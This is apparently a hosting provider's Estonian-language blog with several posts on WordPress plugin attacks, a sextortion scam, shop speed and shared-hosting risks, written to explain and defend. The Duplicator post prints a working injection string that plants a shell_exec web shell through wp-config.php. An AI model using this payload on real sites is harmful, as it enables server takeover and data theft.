WP GDPR Compliance turvaprobleem

WordPress ja pluginad vajavad igapäevast ja soovitavalt automaatset uuendamist, sest nagu näitab järjekordne juhtum, suurendab uuenduse avaldamine probleemi ärakasutamist.

Sedapuhku on süüdlaseks WP GDPR Compliance plugin, mille koodis ei kontrollita kasutajaõiguseid ning nii saab kestahes WordPressi admin-ajax.php kaudu save_setting funktsiooni poole pöördudes muuta suvalisi seadeid (lisaks saab do_action() abil ligi WP muudele funktsionaalsustele).

Haavatavad on WP GDPR Compliance versioonid kuni 1.4.2 (kaasa arvatud), paigatud versioon on 1.4.3

Tüüpilised ründeviisid näivad hetkel olema sellised:

  • lubatakse kasutajate registreerimine users_can_register ja pannakse uue kasutaja rolliks (default_role) administrator … misjärel saab lisada meelepärase tagaukse muutes mõnda teema või pluginafaili – või enda tööriistakomplekti üles laadida
  • muudetakse ära site_url seaded (veebi baas-url), misjärel hakkab veeb laadima kõiki skripte ründaja poolt antud aadressilt… ning need skriptid suunavad kasutaja edasi kuhu-vaja (veebi aadress ja lehesisu udustatud):


Näites kasutatud veebilehe koodist on näha, kuidas skriptid ja CSS tulevad wtools[.]io pealt:

Varem on kasutusel olnud ka pastebin.com ja erealitatea[.]net

Kuidas puhastada?

Kui veebi home ja siteurl on muudetud, siis on esimeseks probleemiks haldusliidesele ligi pääsemine. Seega on vaja saada ligipääs, uuendada pluginad ja rookida välja kõik probleemne.

  • taasta phpMyAdmin’i kasutades andmebaasis siteurl ja home väärtused – selleks on sinu veebi URL (teataval puhul võivad need ka erinevad olla):

  • logi WP haldusliidesesse sisse ja uuenda WP GDPR Compliance plugin
  • kontrolli üle kasutajate registreerimine – Seaded > Üldine valikust: kasutajate registreerimine võiks mitte olla lubatud (kui see ei ole veebi jaoks oluline funktsionaalsus) ja roll võiks olla Lugeja ehk Subscriber:

  • kontrolli üle kasutajate nimekiri, eemalda tundmatud tegelased
  • ja seejärel kontrolli, ega külalised veel midagi maha ole poetanud – selleks on hea abivahend minu ctimer.php skript, mille kasutamise näite leiab blogipostitusest CSI küber – kas keegi on mu serveris faile muutnud?

Sellest probleemist kirjutavad ka:

pluginvulnerabilities.com – Unlike Wordfence and Other Security Providers We Warned About WP GDPR Compliance Before Websites Started to Get Hacked (08.11.2018)

Wordfence – Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild (08.11.2018)

Sucuri – Erealitatea[.]net Hack Corrupts Websites with WP GDPR Compliance Plugin Vulnerability (09.11.2018) ja Hackers Change WordPress Siteurl to Pastebin (13.11.2018)

Kuidas e-smaspäevaks e-pood kiireks saada?

Kaks korda aastas toimuv e-smaspäeva poodlemis-kampaania on Zone jaoks erilise tähendusega: kuna me oleme aastaid olnud eelistatuim valik e-poe veebimajutuse valikul, jooksevad umbes pooled e-poed meie serverite peal.

Zone 74
Elkdata 16
Cloudflare, Inc. 6
Telia Eesti AS 5
Microsoft Corporation (Azure) 4
Hetzner Online GmbH 3
GleSYS Internet Services AB 3
Radicenter 3
OU cloud.ee 3
Wavecom 3
CITIC Telecom CPC Netherlands B.V. 3
kõik ülejäänud 29

Targa majutuse-valiku kõrval mängib olulist rolli ka veebi-poe kood: kasutusel olev Magento, WordPress vms rakendus võiks suuta lehekülje serveerida vähem kui sekundiga, selle kuvamiseks võiks olla vaja maksimaalselt 100-150 faili ning esilehe suurus peaks jääma alla 1-2 megabaidi.

Testisin 12. novembri kampaanias osalevaid poode ning panin tulemuste põhjal kokku lühikese video peamiste soovitustega:

Lisaks video ülevaatele leiad siitsamast blogist ühe varasema postituse, mis annab veel mitu head nippi, kuidas e-pood paremini tööle panna, kui klikid järgmist linki: https://blog.zone.ee/2018/05/13/seitse-nippi-kiire-e-poeni/

Kas sekspressimine e. sextortion kellegi peal töötab kah?

Oktoober on Euroopa küberturvalisuse kuu ja seetõttu on paslik hetk ette võtta selline populaarne küberkuritegevuse liik nagu sextortion.

See on väljapressimine, milles kasutatakse mõnest igati ontlikust veebist lekkinud e-postiaadressi ja parooli kombinatsiooni koos väitega, et sinu kontole on neid teades sisse murtud ning varsti saavad kõik teada, milliseid saite sa külastad ja mida sealt vaatad.

Sa ju ei kasuta mitmes veebisaidis sama parooli? Või vähemalt on täiesti kindel, et peamiste sotsmeedia-kontode ja eposti-teenuse paroolid on unikaalsed? Kui ei, siis vaheta need kohe ära, võimalusel lisa kahetasemeline tuvastus (2-factor authentication) … ja siis loe edasi, millisest riskist ennast just vabastasid.

Mina sain paar päeva tagasi sellise kirja, kus nii kirja adressaadina kui ka sisus on näha üks minu poolt mitteolulistes veebides kasutaja registreerimiseks kasutatav parool mille alguses “k” ja lõpus “2”*:

Ehk siis mulle kirjutab keegi rahvusvahelise häkkerirühmituse liige ning nagu ma juba aru peaks saama, on nad mu pets@tehnokratt.net kontole sisse häkkinud, teavad parooli ja saavad sealt ka kirju saata. Lisaks olla nende valduses minu sotsmeediakontod ning sõnumirakendused.

Aga see pole veel kõik – nad olevat ligi pääsenud ka minu arvutile ja selle veebikaamerale ning mind on tabatud n-ö in flagranti ja neil on olemas samaaegsed videosalvestused minust ja sellest, mida ma vaatasin.

Piinliku juhtumi võiks aga unustada, kui ma kannaks neile 700$ väärtuses Bitcoini etteantud aadressile.

Kas keegi selle triki õnge läheb?

Raske öelda. Mina olen kirja saanud 28. septembril kell 10:52:45 Zulu ehk Greenwichi aja järgi. Kui vaadata kirjas viidatud Bitcoini-rahakoti käivet, siis on see selline:

Tunnike pärast minule saabunud kirja on hakanud pihta laekumised, 0.1 BTC on tolle hetke kursiga umbes 700$ ehk sama mida minult küsiti. Erinevate summade küsimine sõltuvalt juhusest või tippdomeenist on selle skeemi puhul tavapärane, küllap väljapressijad jälgivad turu käitumist ja otsustavad, kas tõhusam on saada väiksemalt hulgalt ohvritelt 700$ või suuremalt 350$.

Ei saa loomulikult välistada, et raha tilgutamine on kampaania osa ning peabki jätma mulje, et häkkerigrupeeringul läheb hästi.

Kui sul on kogemust BTC-ülekannete analüüsiga, siis võin jagada aadressi ja kuulaks huviga – antud puhul leiab laekumisi nii mitmetuhande kasutuskorraga wallet’itest kui ka sellistest, kuhu on tulnud 2 BTC, millest on makstud 0.1 BTC “selle kontole” ja 1.9 kontole, millelt on omakorda makstud 0.1 ja 1.8 edasi…

Kuidas sekspressimine töötab?

Tõepoolest, kirja saatjaks oleks justnagu mina ise… aga see tuleb Korea IP-aadressilt mida tehnokratt.net SPF-kirje teps mitte lubatuks ei pea:

Koos kõigi muude probleemidega annab Zone spämmitõrje kirjale 27 punkti, tegemist on selge spämmiga mis saab külge märke või läheb spämmikausta. Paraku on kirja saatja-aadressi võltsimine äraütlemata lihtne – ja sama lihtne on huvilisel leida interneti tumedamalt poolelt lekkinud kasutaja-andmete baase, kus kirjas e-postiaadressid ja avatekstina talletatud paroolid.

Näiteks üks mõne-aasta-tagune juhtum, eeldatavasti on kõik selle veebi kasutajad saanud teavituse ning hoolsalt oma paroolid nii seal kui teistes kohtades ära muutnud:

Udustamine on siinkohal pigem uudishimu tekitaja – googeldades nähaolevaid paroole leiad hetkega nii selle kui mitmed muud Eestit puudutavad paroolitõmmised.

Ehk siis võetakse üks selline nimekiri ning saadetakse kõigile e-postidele nende parool koos ülaloleva kirjaga ja jäädakse raha ootama.

… ja küberturvakuu?

Nagu alguses mainitud, on oktoober Euroopas küberturvalisuse kuuks kuulutatud, sellega seotud Eestis toimuvad sündmused leiab ECSM veebist – ning Riigi Infosüsteemi Ameti eestvedadmisel toimub 15.10.2018 talgupäev.

Mina ei ole veel välja mõelnud, kuhu loengut pidama minna, aaaga… Kange kiusatus on võtta suur televiisor ja teha midagi huvitavat mõne ostukeskuse ava-alas. Nagu näiteks jagada tasuta wifit ja näidata ekraanil seda, kui pealtvaadatav see võrk tegelikult on.


* korduva parooli kasutamine “mitteolulistes veebides” ei pruugi siiski olla parim turvapraktika, sest on võimalik, et kusagil on mingi suva foorum, kuhu keegi saab minu e-postiga sisse logida ja spämmi postitada… Pigem võiks siis juba ka suva e-posti kasutada, nt mõnda mailinator.com pakutavat 😉

Vahel ei ole ka uuendamisest abi ehk Duplicator ja installer.php

Tuntud mantra kohaselt aitab veebirakendust turvalisena hoida sage uuendamine. Järgimist väärt soovitus, aga paraku leiab ka haavatavusi, mille puhul uuendamisest kohe üldse mitte kasu ei ole.

Duplicator – plugin, mis lubab WordPressi mugavalt kokku pakkida ja teises serveris uuesti paigaldada – on täpselt selline juhtum.

Kiire kokkuvõte: veendu, et sinu veebi juurkataloogi pole jäänud installer.php või installer-backup.php faili (näiteks tippides oma veebi-aadressi sappa: http://firmanimi.eu/installer.php). Kui on, siis korralda kohene kustutamine.
Ääremärkus: kõigil Zones majutatud lehtedel keelasime neile failidele ligipääsu, kustutamiseks on vaja eelnevalt failiõigused paika seada; juhis allpool.

Maasikaks tordi peal on sedapuhku see, et tegemist on 10+ MILJONIT korda paigaldatud pluginaga. Või õigupoolest: …see tort ainult (pahadest) maasikatest koosnebki:

  • tegemist on pluginaga, millel väidetavasti 10+ miljonit paigaldust;
  • esimesed ründed (sh Eestis) mõni nädal pärast paiga ja probleemikirjelduse avaldamist;
  • see ei ole neil esimene turvaprobleem;
  • paik kõrvaldab ühe ründeviisi, aga jätab alles teise võimaluse;
  • ükski paik ei kõrvalda Duplicatori kasutamise järel kustutamata jäänud installer.php ja installer-backup.php faile;
  • need failid võivad alles olla ka veebis, milles pluginat ennast enam ammu pole;
  • lisaks installerile võib veebis vedeleda ka andmebaas database.sql (saab kasutada nt admin-kasutaja parooli murdmiseks) ja kogu veebirakenduse arhiiv (mille nime installer.php reedab)
  • probleemi avastaja kirjeldab ründemeetodit täpsusega, mis võimaldab seda sisuliselt copy-paste meetodil kasutusele võtta (muuhulgas näeme rünnetes test.php faile);
  • tuntud veebiturvapakkuja blogipostitusest jääb mulje, et eelnevale vaatamata pole nad päris täpselt aru saanud, kuidas rünne töötab ja miks wp-config.php katki kipub minema.

Ehk siis… see maasikas on veidi “sedapsi”:

Mida Duplicator teeb?

Tegemist on WordPressi pluginaga, mis lubab olemasoleva veebi (nt veebiarendaja testserveris oleva) kokku pakkida, mille tulemuseks on üks suur arhiiv kõigi failide ja andmebaasi-sisuga ning installer.php skript.

Need saab lihtsa vaevaga uude serverisse üles laadida ning seejärel tippides veebiaadressi sappa installer.php ilma tehniliste teadmisteta seal ka lahti pakkida, vajadusel koos domeeninime muutmisega:

Paigaldamise järel jäävad aga serverisse alles nii installer, selle varukoopia kui ka arhiivist lahti pakitu:

Kuidas rünnatakse?

Kuna maha unustatud installer.php saab käivitada igaüks, siis võiks näiteks sisestada oma kontrolli all oleva andmebaasiserveri andmed ning paigalduse järel saaks seal admin-kasutaja parooli ära vahetada. Ja seejärel võib juba sobiliku tagaukse paigaldada, nt pluginana:

AGA! Duplicator kirjutab siia sisestatud andmed kenasti wp-config.php faili, misjärel on võimalik teha eriti labane koodisüst, pannes andmebaasi nimeks jupi koodi:

test');
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*

Nüüd näeb wp-config.php välja selline:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test'); 
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*');

/** MySQL database username */
define('DB_USER', 'test');

/** MySQL database password */
define('DB_PASSWORD', 'test');

/** MySQL hostname */
define('DB_HOST', 'nowhere:12345');

… ja pöördudes korra otse wp-config.php poole (minu näidise puhul https://dupdup.local/wp-config.php), tekib samasse fail test.php, mis toimib lihtsa tagauksena (näide käsuga ls , mis kuvab veebi juurkataloogi sisu):

Loomulikult on selle käigus tehtud katki ka wp-config.php ja veebikülastajad näevad andmebaasi-ühenduse veateadet:

Kuidas ennast kaitsta?

Kui oled veebiarendajana (või -omanikuna) kunagi Duplicator’it kasutanud veebi kolimiseks, siis leia see aeg, et kõik varasemad projektid üle kontrollida ja eemalda veebi juurkataloogi jäänud installer.php, installer-backup.php, database.sql ja arhiivifail.

Kontrollimine on lihtne ja selleks pole isegi vaja FTP-ligipääsu: pannes falinime oma veebiaadressi sappa (nt: http://firmanimi.eu/installer.php), peaks kuvatama Error 404 ehk “lehte ei leitud” teadet. Kui avaneb ülal näha olev Duplicator’i dialoog, siis on väga pahasti.

Paha ei tee ka veidi põhjalikum veebiserveris ringivaatamine, sest sageli vedeleb seal kataloogides /vana või /new veebilehe erinevaid (paikamata ja kohati ka nõrga adminparooliga) versioone, näiteks test.php, mis kuvab serveri-infot jpm tarbetut kola, mis võib kellegi jaoks osutuda väärt turvaprobleemiks.

Zone kliendid on kaitstud

Zones majutatud veebidele lasid meie adminnid peale roboti, mis keelas kõigi Duplicator’i installer*.php failide lugemise (chmod 0x000), sest kliendi faile me ära kustutada ei tahaks. Kui probleemsed failid sinu veebis olemas, siis näed meil sellist veateadet:

… ja failide kustutamiseks pead FTP-programmis paremklõpsama failinimel ning andma kasutajale Read ja Write õigused:

 

Mitu veebi samas virtuaalserveris – miks mitte?

Üsna tihti kohtab soovi majutada ühe virtuaalserveri alla mitu veebi – see on “väikese nipiga” tehtav, aga me oleme rõhutatult hoidunud selle lihtsamaks tegemisest. Põhjuseks turvalisus ja väiksemal määral ka jõudlus.

Nüüd sattus kätte ka hea/halb näide, seoses Ultimate Member plugina haavatavusega. Sündmuste ahel oli üldistatult järgmine:

  • alamdomeenil asuv veeb (failid kataloogis[alamveeb-1]) kasutas Ultimate Member pluginat, selle turvaaugu kaudu võeti veeb 11. augustil ründaja poolt üle ning see hakkas külastajaid edasi suunama;
  • järgnevatel päevadel on näha erinevate failide muutmist, tegemist võib olla nii sama ründaja koodiuuendustega kui konkureerivate ründajatega;
  • 22. augustil on jõutud nakatava koodiga versioonini, mis oskab laiemalt ringi vaadata ning varustas pahavaraga põhidomeeni ja 3 alamdomeeni, kokku 541 faili (PHP ja JavaScript, lisaks said pihta ka sobiva nimega CSSid).

Selles ajaloos on [alamveeb-1] Ultimate Members pluginaga veebileht, htdocs/ asub põhiveeb ja esimene “roosa rida” asub sootuks väljaspool veebiserverite juurkatalooge:

Olgu lisatud, et punane rida ehk [alamveeb-3] on Joomla! ehk selline JavaScript’ide nakatamine töötab väga hästi sisuhaldusrakendusest hoolimata. Sellest, mida neis failides muudeti, saad lugeda postitusest Kolme päevaga turvapaigast rünneteni: Ultimate Member.

Miks nii läks?

Virtuaalserver on tehnilises mõttes üks Linux’i kasutajakonto, millel on oma kodukataloog ja selle all veeb või veebid. Kasutajal on mõistagi õigus kõiki oma faile lugeda ja kirjutada, näiteks FTPga sisse logides. Ka veebiserver käitab PHP-koodi sellesama kasutaja õigustes… ehk sisuliselt “näeb” ja saab muuta kõike seda, mida kasutaja ise.

Vahest on olukorda lihtsam mõista Windowsi kasutaja kodukataloogi näitel:

Jah, otseloomulikult näeb sinu WordPress ka kõiki muid faile, mille oled serverisse laadinud. Paljude veebimajutus-teenuse pakkujate puhul asuvad samas kasutaja kodukataloogis ka kõigi e-posti-kontode postkastid ning sissetungija saab hõlpsalt kirju lugeda, sh leida sinna saadetud teiste teenuste paroole. Meil Zones on e-post täiesti eraldi serverites, seda nii turvalisuse kui käideldavuse huvides.

Sellist kõrval-veebide ülevõtmist nimetatakse külgliikumiseks (lateral movement) ja see on mistahes ründe puhul standardtegevus: said küüned kuhugi taha? Vaata veidi ringi, tõenäoliselt on omanik midagi vedelema jätnud ning sul õnnestub sellest ühest süsteemist järgmisse edasi liikuda. Virtuaalserverist mitme veebi leidmine annab kindlasti põhjust vaimustunult “Bingo!” hõigata.

Kuidas vältida?

Valides Virtuaalserverit on sul mõttes hind, kettaruum ja muud numbrilised parameetrid. Tegelikult ostad sa aga eraldatust – tükikest serverist, kuhu teised ligi ei pääse ja mis tagab ka selle, et õnnestunud ründe puhul piirduvad probleemid selle ühe veebiga.

Näiteks kasutatud juhtumi puhul sai enamuse veebidest õnneks varukoopiast taastada, aga [alamveeb-1] nakatumisest oli möödas juba rohkem kui 14 päeva ning see tuli puhastada käsitsi.

Kuna ründemeetod oli tuttav, läks seegi üsna libedalt, pikemalt “mädanenud” veebi puhul (millest on sageli üle käinud mitu ründajat) ütleksin ma hinnaks minimaalselt 2, aga tõenäoliselt 4-8 tundi – ja seda ühe (alam)veebi kohta.

Alamveeb on OK näiteks test- või arendus-versiooni jaoks – eeldusel, et see on kenasti parooliga kaitstud ning poolik või uuendamata kood täiendavaks turvaprobleemiks ei osutu.

Paraku näen ma aga sageli seda, et sama konto all on avalik veebisait (uuendamata), veebi vana versioon (“igaks juhuks”), intranet, kliendihaldus, mingi kontakte koguv kampaanialahendus jms. Ehk siis konfidentsiaalne äri-info ning isikuandmed – ning hetkel, kui veeb on “maha häkitud”, võib isikuandmete kaitse üldmäärusest (GDPR) lähtuvalt tekkida vajadus teavitada intsidendist Andmekaitseinspektsiooni … ja kliente.

Üks väike märkus veel – Virtuaalserverite puhul on lisaks kettamahule seatud piirid ka samaaegsete päringute arvule, kui mõni kontol olevatest veebidest osutub aeglaseks ning otsimootorid seda hoogsalt indekseerima asuvad… kannatavad tema pärast ka teised.

ps. Ah et kuidas saab ühes Zone Virtuaalserveris mitut veebi pidada? Teed alamdomeeni ning tellid sellele vajaliku domeeni jaoks aliase 🙂 Aga ära unusta enne riske hinnata.